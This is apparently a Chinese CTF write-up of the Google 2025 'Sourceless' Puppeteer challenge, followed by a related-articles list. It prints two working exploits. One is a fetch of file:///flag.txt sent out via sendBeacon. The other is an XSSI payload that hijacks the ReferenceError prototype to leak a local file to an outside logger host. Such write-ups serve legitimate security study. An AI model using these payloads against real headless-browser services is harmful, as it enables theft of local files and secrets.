Puppeteer 相关漏洞-- Google 2025 Sourceless

题目的代码非常简单,核心只有这一句

js 复制代码
page.goto(url, { timeout: 2000 });

方案1

Puppeteer 是一个常用的自动化浏览器工具,默认支持 Chrome,但也可以配置支持 Firefox。然而,当 Puppeteer 运行在 Firefox 上时,会自动关闭一些安全特性,尤其是将 security.fileuri.strict_origin_policy 设置为 false。这意味着不同的 file:// 协议下的文件(比如 file://A 和 file://B)会被当作同源(same-origin)处理。

复制代码
fetch('file:///flag.txt')
  .then(e => e.text())
  .then(e => navigator.sendBeacon(url, e));

方案2 XSSI 攻击

xssi.pdf

js 复制代码
  <script>
    ReferenceError.prototype.__defineGetter__('name', function(){
      const variable = this.message.split(' is ')[0];
      let decoded = '';

      for(const u16 of [...variable]){
        const i = u16.charCodeAt(0);
        decoded += String.fromCharCode(i % 256);
        decoded += String.fromCharCode(i >> 8);
      }
      navigator.sendBeacon('https://terjanq-logger.glitch.me/log2?id=sourceless', decoded)
    });
  </script>
  <script charset=utf-16le src="file:///flag.txt"></script>
  • 在Chrome和Firefox中,可以通过重写Error.prototype,拦截并读取error.message属性。

  • 正常情况下,跨域脚本报错时,window.onerror只会返回"Script error",但控制台的错误信息却包含了详细内容。

  • 由于console构造错误信息时会用到共享的Error原型,网站可以"污染"原型并执行自定义JS。

相关推荐
漠月瑾-西安5 小时前
PHP曝出两个严重RCE漏洞:CVE-2026-109618、CVE-2026-109619技术分析与修复指南
网络安全·php·漏洞分析·漏洞修复·远程代码执行
学逆向的9 小时前
C 指针常量与常量指针
c语言·开发语言·网络安全
大泽九章17 小时前
XSS入门:存储型、反射型、DOM型,用Flask全复现
python·网络安全·flask
持敬chijing19 小时前
系统入侵与攻击工具-正反向 Shell 深度对比与多种反弹姿势
安全·网络安全·网络攻击模型
终端安全笔记2 天前
下一个大版本要动的三处:更新指令、传输要求、策略写法
网络安全·ios·1024程序员节·移动设备管理
愤怒火龙果2 天前
AI 渗透测试智能体架构综述:从单兵到蜂群的演进图谱
人工智能·网络安全·架构
学逆向的2 天前
C 枚举变量
c语言·开发语言·网络安全
QZ166560951593 天前
数据库监测的主动防御:实时感知,看见即掌控
网络·安全·网络安全
kingx33 天前
BugKu 渗透测试4 Writeup:从 eval 注入到五层内网拿满 Flag
人工智能·网络安全·网络攻击模型·安全威胁分析·1024程序员节
愤怒火龙果3 天前
AIShield 靶场 WP
人工智能·网络安全·1024程序员节